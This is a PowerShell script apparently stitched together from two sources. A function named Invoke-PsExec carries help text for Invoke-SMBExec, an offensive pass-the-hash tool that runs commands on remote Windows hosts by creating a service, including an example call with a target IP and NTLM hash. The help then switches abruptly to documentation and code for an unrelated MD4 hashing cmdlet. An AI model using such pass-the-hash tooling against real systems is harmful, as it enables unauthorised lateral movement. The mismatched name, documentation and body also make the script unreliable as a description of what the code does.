function Invoke-PsExec { <# .SYNOPSIS Invoke-SMBExec performs SMBExec style command execution with NTLMv2 pass the hash authentication. Invoke-SMBExec supports SMB1 and SMB2 with and without SMB signing. .PARAMETER Target Hostname or IP address of target. .PARAMETER Username Username to use for authentication. .PARAMETER Domain Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. .PARAMETER Hash NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. .PARAMETER Command Command to execute on the target. If a command is not specified, the function will check to see if the username and hash provides local administrator access on the target. .PARAMETER CommandCOMSPEC Default = Enabled: Prepend %COMSPEC% /C to Command. .PARAMETER Service Default = 20 Character Random: Name of the service to create and delete on the target. .PARAMETER SMB1 (Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the target. .PARAMETER Sleep Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this setting if you are experiencing strange results. .EXAMPLE Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0

WARNING: MD4 is not secure, so it should NEVER be used to protect sensitive data. This cmdlet is for research purposes only! .DESCRIPTION This cmdlet returns the MD4 hash of the data that is input. WARNING: MD4 is not secure, so it should NEVER be used to protect sensitive data. This cmdlet is for research purposes only! This cmdlet uses Microsoft's implementation of MD4, exported from bcrypt.dll. The implementation is fully compliant with RFC 1320. This cmdlet takes a byte array as input, not a string. So if you wanted to hash a string (such as a password,) you need to convert it to a byte array first. .EXAMPLE Get-MD4Hash -DataToHash $([Text.Encoding]::Unicode.GetBytes("YourPassword1!")) .PARAMETER DataToHash A byte array that represents the data that you want to hash. .INPUTS A byte array containing the data you wish to hash. .OUTPUTS A 128-bit hexadecimal string - the MD4 hash of your data. .NOTES Author: Ryan Ries, 2014, ryan@myotherpcisacloud.com .LINK https://myotherpcisacloud.com #> [CmdletBinding()] Param ([Parameter(Mandatory=$True, ValueFromPipeline=$False)] [Byte[]]$DataToHash) END { Set-StrictMode -Version Latest if (-not ([System.Management.Automation.PSTypeName]'dsafdsafdsafds').Type) { Add-Type -TypeDefinition @' using System; using System.Text; using System.Runtime.InteropServices; public class dsafdsafdsafds { [DllImport("bcrypt.dll", CharSet = CharSet.Auto)] public static extern NTStatus BCryptOpenAlgorithmProvider( [Out] out IntPtr phAlgorithm, [In] string pszAlgId, [In, Optional] string pszImplementation, [In] UInt32 dwFlags); [DllImport("bcrypt.dll")] public static extern NTStatus BCryptCloseAlgorithmProvider( [In, Out] IntPtr hAlgorithm, [In] UInt32 dwFlags); [DllImport("bcrypt.dll", CharSet = CharSet.Auto)] public static extern NTStatus BCryptCreateHash( [In, Out] IntPtr hAlgorithm, [Out] out IntPtr phHash, [Out] IntPtr pbHashObject, [In, Optional] UInt32 cbHashObject, [In, Optional] IntPtr pbSecret, [In] UInt32 cbSecret, [In] UInt32 dwFlags); [DllImport("bcrypt.dll")] public static extern NTStatus BCryptDestroyHash( [In, Out] IntPtr hHash); [DllImport("bcrypt.dll")] public static extern NTStatus BCryptHashData( [In, Out] IntPtr hHash, [In, MarshalAs(UnmanagedType.LPArray)] byte[] pbInput, [In] int cbInput, [In] UInt32 dwFlags); [DllImport("bcrypt.dll")] public static extern NTStatus BCryptFinishHash( [In, Out] IntPtr hHash, [Out, MarshalAs(UnmanagedType.LPArray)] byte[] pbInput, [In] int cbInput, [In] UInt32 dwFlags); [Flags] public enum AlgOpsFlags : uint { BCRYPT_PROV_DISPATCH = 0x00000001, BCRYPT_ALG_HANDLE_HMAC_FLAG = 0x00000008, BCRYPT_HASH_REUSABLE_FLAG = 0x00000020 } // This is a gigantic enum and I don't want to copy all of it into this Powershell script. // Basically anything other than zero means something went wrong. public enum NTStatus : uint { STATUS_SUCCESS = 0x00000000 } } '@ } [Byte[]]$HashBytes = New-Object Byte[] 16 [IntPtr]$PHAlgorithm = [IntPtr]::Zero [IntPtr]$PHHash = [IntPtr]::Zero $NTStatus = [dsafdsafdsafds]::BCryptOpenAlgorithmProvider([Ref] $PHAlgorithm, 'MD4', $Null, 0) If ($NTStatus -NE 0) { Write-Error "BCryptOpenAlgorithmProvider failed with NTSTATUS $NTStatus" If ($PHAlgorithm -NE [IntPtr]::Zero) { $NTStatus = [dsafdsafdsafds]::BCryptCloseAlgorithmProvider($PHAlgorithm, 0) } Return } $NTStatus = [dsafdsafdsafds]::BCryptCreateHash($PHAlgorithm, [Ref] $PHHash, [IntPtr]::Zero, 0, [IntPtr]::Zero, 0, 0) If ($NTStatus -NE 0) { Write-Error "BCryptCreateHash failed with NTSTATUS $NTStatus" If ($PHHash -NE [IntPtr]::Zero) { $NTStatus = [dsafdsafdsafds]::BCryptDestroyHash($PHHash) } If ($PHAlgorithm -NE [IntPtr]::Zero) { $NTStatus = [dsafdsafdsafds]::BCryptCloseAlgorithmProvider($PHAlgorithm, 0) } Return } $NTStatus = [dsafdsafdsafds]::BCryptHashData($PHHash, $DataToHash, $DataToHash.Length, 0) $NTStatus = [dsafdsafdsafds]::BCryptFinishHash($PHHash, $HashBytes, $HashBytes.Length, 0) If ($PHHash -NE [IntPtr]::Zero) { $NTStatus = [dsafdsafdsafds]::BCryptDestroyHash($PHHash) } If ($PHAlgorithm -NE [IntPtr]::Zero) { $NTStatus = [dsafdsafdsafds]::BCryptCloseAlgorithmProvider($PHAlgorithm, 0) } $HashString = New-Object System.Text.StringBuilder Foreach ($Byte In $HashBytes) { [Void]$HashString.Append($Byte.ToString("X2")) } Return $HashString.ToString() } }
